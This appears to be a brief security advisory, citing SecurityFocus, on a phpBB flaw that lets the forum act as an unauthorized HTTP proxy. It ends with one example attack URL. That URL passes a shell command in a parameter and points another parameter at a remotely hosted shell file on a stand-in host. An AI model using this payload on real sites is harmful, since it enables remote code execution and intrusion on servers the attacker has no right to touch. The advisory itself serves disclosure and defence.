source: https://www.securityfocus.com/bid/17965/info

phpBB is prone to a vulnerability that could permit the application to become an unauthorized HTTP proxy.

An attacker can exploit this issue to manipulate phpBB into becoming an HTTP proxy.

http://www.example.com/somescript.php?cmd=ls%20-la&xpl=http://www.example2.com/someshell.txt